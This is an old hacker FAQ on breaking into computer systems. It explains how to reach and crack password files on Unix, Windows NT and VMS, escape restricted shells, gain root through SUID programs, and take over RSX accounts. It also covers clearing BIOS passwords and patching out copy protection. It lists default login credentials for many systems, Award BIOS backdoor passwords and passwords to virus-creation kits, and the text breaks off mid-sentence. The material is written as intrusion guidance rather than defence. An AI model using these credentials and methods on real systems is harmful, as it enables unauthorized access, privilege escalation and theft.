A-01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:
A-02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
accepts the text you enter at the "Password:" prompt and then runs it
through a cryptographic algorithm. The results of that algorithm are
then compared against the encrypted form of your password stored in the
passwd file.
On a more technical level, the password that you enter is used as a key
to encrypt a 64-bit block of NULLs. The first seven bits of each
character are extracted to form a 56-bit key. This means that only
eight characters are significant in a standard Unix password. The
E-table is then modified using the salt, which is a 12-bit value,
coerced into the first two chars of the stored passwd. The salt's
purpose is to make precompiled passwordd lists and DES hardware chips
more time consuming to use. DES is then invoked for 25 iterations. The
64-bit output block and is then coerced into a 64-character alphabet
(A-Z,a-z,".","/"). This involves translations in which several
different values are represented by the same character, which is why
Unix passwords cannot be decrypted.
Password cracking software uses wordlists. Each word in the wordlist
is
encrypted using the algorithm described above and the salts from the
password file. The results are then compared to the encrypted form of
the target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack. For the Macintosh, try Killer Cracker or Mac Krack.
A-03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
On older systems, password shadowing was often defeated by using a
program that made successive calls to getpwent() to obtain the entire
password file.
A-04. Where can I find the password file if it's shadowed?
A-05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose of NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
A-06. What are those weird characters after the comma in my passwd
file?
The characters are password aging data. Password aging forces the
user to change passwords after a system administrator-specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
A-07. How do I access the password file under Windows NT?
Windows NT stores encrypted password hashes in the Registry. RDISK
stores a compressed backup copy of the the password hashes is stored in
%SystemRoot%\repair\sam._.
If you can access the Registry you can use PWDump by Jeremy Allison to
view this data. The PWDump utility is freely available at
http://us1.samba.org/samba/ftp/pwdump/.
A-08. How do I crack Windows NT passwords?
Windows NT password can be cracked using wordlists. This is much the
same as attacking Unix passwords with word lists, except that Microsoft
passwords are much easier to crack.
In addition, Microsoft passwords can be brute forced. This means that
every password on the system can be retrieved.
The best cracking program for Windows NT passwords is currently
L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at
http://www.atstake.com/research/lc/.
A-09. How do I access the password file under VMS?
Under VMS, the password file is normally stored as
SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users
do not have access to read the password file.
Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to
increase security through obscurity. In this case, `DIR SYSAUF` or
`SHOW LOG SYSAUF` should point you to the new location of the file.
A-10. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
A-11. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for
investigation. To determine the status of the accounting on your system
use the command SHOW ACCOUNTING. System accounting is a facility for
recording information about the use of the machine from a system
accounting perspective (resource logging such as CPU time, printer usage,
etc.), while system auditing is done with the aim of logging information
for the purpose of security. To enable accounting:
This enables accounting logging information to the accounting log
file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close
the current log file and open a new one with a higher version
number.
The /ALARM qualifier is used to raise an alarm to all terminals
approved
as security operators, which means that you need the SECURITY
privileges. You can determine your security auditing configuration
using $ SHOW AUDIT /ALL
A-12. What privileges are available on a VMS system?
A-13. How do I break out of a restrictive shell?
A restrictive shell is a shell that has been modified to allow you to
do
fewer things than a normal shell would allow you to do. It may allow
you to run only certain programs. It may stop you from changing
directories. Many sites run their own restrictive shells to allow
limited use of their systems over the Internet. Restrictive shells
often make use of the restricted shell (rsh).
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
Many menu based restricted shells will allow you to configure your user
environment, or to run programs that allow you to configure your user
environment. Look for configuration options that refer to executable
programs. If the program lets you define an editor, for example, try to
set your editor to "/bin/csh -i -f"
If you are not allowed to read files, try to open them inside the
e-mail
program.
If you are not allowed to edit files, try to save that to file from the
e-mail program.
If your restricted shell prevents you from using the "cd" command, try
to FTP into your account and change directories. FTP can aso be used to
edit files by getting the file, editing it offline, and utting the net
file back online.
Like most hacking, trying things is often the most successful
strategy.
A-14. How do I gain root from a SUID script or program?
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Invoke the name of the program and a separate command on the same
command line.
A-15. How do I erase my presence from the system logs?
A-16. How do I change to directories with strange characters in
them?
These directories are often used by people trying to hide information,
most often warez (commercial software).
There are several things you can do to determine what these strange
characters are. One is to use the arguments to the ls command that
cause ls to give you more information:
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
If the directory name includes a <SPACE> or a <TAB> you
will need to
enclose the entire directory name in quotes. Example:
On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special
character
on your numeric keypad. When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control characters
for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding control
character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as undefined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
A-17. What is this system?
AIX
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[You will know an AIX system because it is the only Unix system that
clears the screen and issues a login prompt near the bottom of the
screen]
AS/400
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt. Next prompt
is:
USER NAME:
CISCO Router
FIRST BANK OF TNO
| |
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866 |
TN043R1>
DECserver
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights
Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:
GTN
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX
@
PASSWORD =
@
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->
CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail
Meridian Mail (Northern Telecom Phone/Voice Mail System)
MMM MM MERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
Copyright (c) Northern Telecom, 1991
Novell ONLAN
<Control-A aka smiley face>N
[To access the systems it is best to own a copy of ONLAN/PC]
PC-Anywhere
<Control-A aka smiley face>P
[To access the systems it is best to own a copy of PCAnywhere
Remote]
PRIMOS
PRIMENET 19.2.7F PPOA1
<any text>
ER!
CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)
ROLM CBX II
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?
ROLM PhoneMail
ROLM PhoneMail 9252 9254 Microcode Version 4.2
Copyright (C) ROLM Systems 1991
All Rights Reserved.
PM Login>
PM Password>
ÿÿÿ
System75
- Login
- root
INCORRECT LOGIN
- Login
- browse
Password:
Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/370
VM/370
!
VM/ESA
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>
COMMAND ===>
Xylogics Annex Communications Server
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
| Checking authorization, Please wait... |
- |
|
| Annex username: TNO |
- |
Optional security check |
| Annex password: |
- |
Not always present |
Permission granted
annex:
A-18. What are the default accounts for XXX?
AS/400
| qsecofr |
qsecofr /* master security officer */ |
| qsysopr |
qsysopr /* system operator */ |
qpgmr
also |
qpgmr /* default programmer */ |
| ibm |
password |
| ibm |
2222 |
| ibm |
service |
| qsecofr |
1111111 |
| qsecofr |
2222222 |
| qserv |
qserv |
| qsvr |
qsvr |
| secofr |
secofr |
| qsrv |
ibmce1 |
DECserver
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
| setup |
<no password> |
| library |
<no password> |
| circ |
<Social Security Number> |
(Type 'later' to exit to the login prompt)
Hewlett Packard MPE-XL
| HELLO |
MANAGER.SYS |
| HELLO |
MGR.SYS |
| HELLO |
FIELD.SUPPORT HPUNSUP or SUPPORT or HP |
| HELLO |
OP.OPERATOR |
| MGR |
CAROLIAN |
| MGR |
CCC |
| MGR |
CNAS |
| MGR |
CONV |
| MGR |
COGNOS |
| OPERATOR |
COGNOS |
| MANAGER |
COGNOS |
| OPERATOR |
DISC |
| MGR |
HPDESK |
| MGR |
HPWORD |
| FIELD |
HPWORD |
| MGR |
HPOFFICE |
| SPOOLMAN |
HPOFFICE |
| ADVMAIL |
HPOFFICE |
| MAIL |
HPOFFICE |
| WP |
HPOFFICE |
| MANAGER |
HPOFFICE |
| MGR |
HPONLY |
| FIELD |
HPP187 |
| MGR |
HPP187 |
| MGR |
HPP189 |
| MGR |
HPP196 |
| MGR |
INTX3 |
| MGR |
ITF3000 |
| MANAGER |
ITF3000 |
| MAIL |
MAIL |
| MGR |
NETBASE |
| MGR |
REGO |
| MGR |
RJE |
| MGR |
ROBELLE |
| MANAGER |
SECURITY |
| MGR |
SECURITY |
| FIELD |
SERVICE |
| MANAGER |
SYS |
| MGR |
SYS |
| PCUSER |
SYS |
| RSBCMON |
SYS |
| OPERATOR |
SYS |
| OPERATOR |
SYSTEM |
| FIELD |
SUPPORT |
| OPERATOR |
SUPPORT |
| MANAGER |
TCH |
| MAIL |
TELESUP |
| MANAGER |
TELESUP |
| MGR |
TELESUP |
| SYS |
TELESUP |
| MGE |
VESOFT |
| MGE |
VESOFT |
| MGR |
WORD |
| MGR |
XLSERVER |
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
Mitel PBX
SYSTEM
Nomadic Computing Environment (NCE) on the Tadpole Technologies
SPARCBook3
PICK O/S
| DSA # Desquetop System Administrator |
| DS |
| DESQUETOP |
| PHANTOM |
PRIMOS
| PRIME |
PRIME |
| SYSTEM |
SYSTEM |
| PRIMOS |
PRIMOS |
| ADMIN |
ADMIN |
| RJE |
RJE |
| DEMO |
DEMO |
| GAMES |
GAMES |
| GUEST |
GUEST |
| REGIST |
REGIST |
| TEST |
TEST |
| NETMAN |
NETMAN |
| PRIRUN |
PRIRUN |
| TOOLS |
TOOLS |
| CMDNC0 |
CMDMNC0 |
Prolog
| PBX |
PBX |
| NETWORK |
NETWORK |
| NETOP |
<null> |
Radio Shack Screen Savers
RS<STORE_ID_NUMBER>
Rolm
CBX Defaults
| op |
op |
| op |
operator |
| su |
super |
| admin |
pwp |
| eng |
engineer |
PhoneMail Defaults
| sysadmin |
sysadmin |
| tech |
tech |
| poll |
tech |
RSX
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Default accounts for Micro/RSX:
MICRO/RSX
Alternately you can hit <CTRL-Z> when the boot sequence asks you
for the
date and create an account using:
RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are privileged)
Reboot and wait for the date/time question. Type ^C and at the MCR
prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.
type " run $acnt" and change the password of any account with a group
number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.
SGI Irix
| 4DGifts |
<no password> |
| guest |
<no password> |
| demos |
<no password> |
| lp |
<no password> |
| nuucp |
<no password> |
| tour |
<no password> |
| tutor |
<no password> |
SGI Irix
| bcim |
bcimpw |
| bciim |
bciimpw |
| bcms |
bcmspw, bcms |
| bcnas |
bcnspw |
| blue |
bluepw |
| browse |
looker, browsepw |
| craft |
crftpw, craftpw, crack |
| cust |
custpw |
| enquiry |
enquirypw |
| field |
support |
| inads |
indspw, inadspw, inads |
| init |
initpw |
| kraft |
kraftpw |
| locate |
locatepw |
| maint |
maintpw, rwmaint |
| nms |
nmspw |
| rcust |
rcustpw |
| support |
supportpw |
| tech |
field |
Taco Bell
| rgm |
rollout |
| tacobell |
<null> |
Verifone Junior 2.05
Default password: 166816
VMS
| field |
service |
| systest |
utep |
XON / XON Junior
Default password: 166831
A-19. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.
Virus:
A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr., worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.
A-20. How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help
protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good program. Using more than
one scanner could be helpful. You may get those one or two viruses that
the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now. NO scanner
can
keep up with them all, but the four mentioned here do the best job of
keeping current. Any good scanner will detect the majority of
common
viruses. No virus scanner will detect all viruses.
Right now there are about 5600 known viruses. New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.
You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.
Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms. Theoretically, they could
protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.
The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.
The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally. We discourage this. Viruses aren't
cool.
A-21. Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.
There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de
is a pretty
reliable site for programs and text.
A-22. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from Computer Security Basics
by Deborah Russell and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
A-23. What is PGP?
This FAQ answer is excerpted from PGP(tm) User's Guide;
Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.
A-24. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.
Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until you
space them apart.
What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers. The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation
is conducted along cables and wires.
Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project a
target was working on. We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor. These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer
away.
A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency. For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc... By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government
agencies.
The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions. However, Tempest
equipment is not legal for civilian use in the United States.
Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified). This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.
A-25. How do I defeat Copy Protection?
There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.
Writing a patch requires a debugger or a disassembler. It also
requires
some knowledge of assembly language. Load the protected program under
the debugger and watch for it to check the protection mechanism. When
it does, change that portion of the code. The code can be changed from
JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump
Unconditionally). Or the code may simply be replaced with NOP (No
Operation) instructions.
A-26. What are some available debuggers and disassemblers?
Debuggers
Soft-Ice ($439)
Soft-Ice for Windows ($329)
Soft-Ice for Windows95 ($329)
Soft-Ice for WindowsNT ($329)
Nu-Mega Technologies, Inc.
9 Townsend West
Nashua, NH 03063
http://www.compuware.com/products/numega/index.htm
(603)889-2386
(800)468-6342
D86: Eric Isaacson's ShareWare debugger
http://eji.com/a86/
BrandX full-screen debugger
ftp://ftp.cdrom.com/pub/simtelnet/msdos/asmutl/bxd26.zip
Disassemblers
Sourcer ($95)
V Communications, Inc.
4320 Stevens Creek Boulevard
Suite 120
San Jose, CA 95129
(408)296-4224
(408)296-4441 Fax
http://www.v-com.com/product/devsou1.html
E-mail: sales@v-com.com
IDA Pro(Interactive Disassembler)
http://www.datarescue.com/
A-27. How do I defeat a BIOS password?
This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are
the most common.
Some BIOS's allow you to require a password be entered before the
system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.
Every BIOS must store this password information somewhere. If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored. Or, you must have a program that knows these things.
You can write your own program to read the CMOS memory on a PC by
writing
the address of the byte of CMOS memory that you wish to read in port
0x370, and then reading the contents of port 0x371.
The most common pre-written BIOS password attack programs are for AMI
BIOS. Some password attack programs will return the AMI BIOS password
in plain text, some will return it in ASCII codes, some will return it
in scan codes. This appears to be dependent not just on the password
attacker, but also on the version of AMI BIOS.
To obtain AMI BIOS password attackers, ftp to oak.oakland.edu
/pub/simtelnet/msdos/sysutl/.
Award BIOS appears not to store the BIOS password, but instead only
stores a two byte checksum of the BIOS password. This means that any
other password with the same checksum will work just as well as the
original password.
In addition, Award BIOS seems to implement backdoor passwords. One
backdoor password is eight spaces. Other backdoor passwords are
"AWARD_SW", "AWARD_PW", "589589", "condo", "j262", "KDD", "ZBAAACA",
"ZAAAADA", and "ZJAAADC." Remember that these may not be the actual
backdoor passwords, these passwords may simply have the same checksum as
the actual backdoor passwords. This checksum is stored at F000:EC60.
If you cannot access the machine after if has been powered up, it is
still possible to get past the password. The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.
On some motherboards, the battery is soldered to the motherboard,
making
it difficult to remove. If this is the case, you have another
alternative. Somewhere on the motherboard you should find a jumper that
will clear the BIOS password. If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard. If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the
battery. If you cannot locate this jumper, you might short both of the
points where the battery connects to the motherboard. Several people
have reported positive results from doing this, but I haven't wanted to
test it on any of my own motherboards.
A-28. What is the password for <encrypted file>?
This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>
| Magazine |
Password |
| VLAD Magazine Issue #1 |
vlad |
| VLAD Magazine Issue #2 |
vx |
| VLAD Magazine Issue #3 |
virus |
| NuKE InfoJournal Issue #2 |
514738 |
| NuKE InfoJournal Issue #3 |
power |
| NuKE InfoJournal Issue #4 |
party |
Program
| Sphere Hacker 1.40 & 1.41 |
theozone |
| Virus Creation 2000 |
high level |
| Virus Construction Lab |
Chiba City |
| Ejecutor Virus Creator |
EJECUTOR |
| Biological Warfare v0.90 |
lo tek |
| Biological Warfare v1.00 |
freak |
A-29. Is there any hope of a decompiler that would convert an
executable program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout:
Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.
If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same. For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.
OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient. Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.
OK, let's simplify further and specify that you only want to support
one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then? A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice. At this point, you have decompiled source, but what
good is it?
Also note carefully my reference to source modules. One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.
A-30. How does the MS-Windows password encryption work?
This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>:
The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.
Anyway, I will attempt to relay what I have learned about this
algorithm.
I will describe the process starting after you've entered the password
and hit the [OK] button.
I will make the assumtion that everyone (at least those interested)
know
what the XOR operation is.
First, the length of the password is saved. We'll call this 'len'. We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
